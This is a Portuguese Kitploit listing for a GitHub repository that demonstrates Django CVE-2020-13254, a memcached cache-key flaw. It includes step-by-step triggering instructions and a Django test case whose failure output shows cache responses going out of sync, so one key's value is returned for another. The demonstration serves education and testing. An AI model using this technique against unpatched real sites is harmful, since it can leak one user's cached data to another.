Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/danpalmer/django-cve-2020-13254
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Demonstração de vulnerabilidade para Django CVE-2020-13254

Ver Repositório
212há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Django CVE-2020-13254

Este repositório demonstra a exploração do CVE-2020-13254 de duas maneiras – através de uma interface web e através de um caso de teste falho.

Para mais detalhes visite:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Explorando via web

O exemplo fornece uma interface web com 2 formulários, um que define valores no cache e outro que os obtém. Estes são diretamente traduzidos em chamadas para o backend de cache do Django. Como a base de código não implementa nenhum sistema de sessão ou autenticação, usos múltiplos na mesma aba do navegador são indistinguíveis de múltiplos usuários usando máquinas diferentes.

Para explorar:

  1. Defina chaves de A e B para valores a e b.
  2. Tente definir C D para o valor c d. Isto causará erro.
  3. Tente recuperar a chave A, incorretamente não haverá resultado.
  4. Tente recuperar a chave B, o resultado será incorretamente a.

Demo via testes

Este processo pode ser expresso como um caso de teste da seguinte forma:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Isto falha com o seguinte erro:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

Após o set, os resultados do cache retornados estão dessincronizados com as consultas que estão sendo feitas.

Baixar ferramenta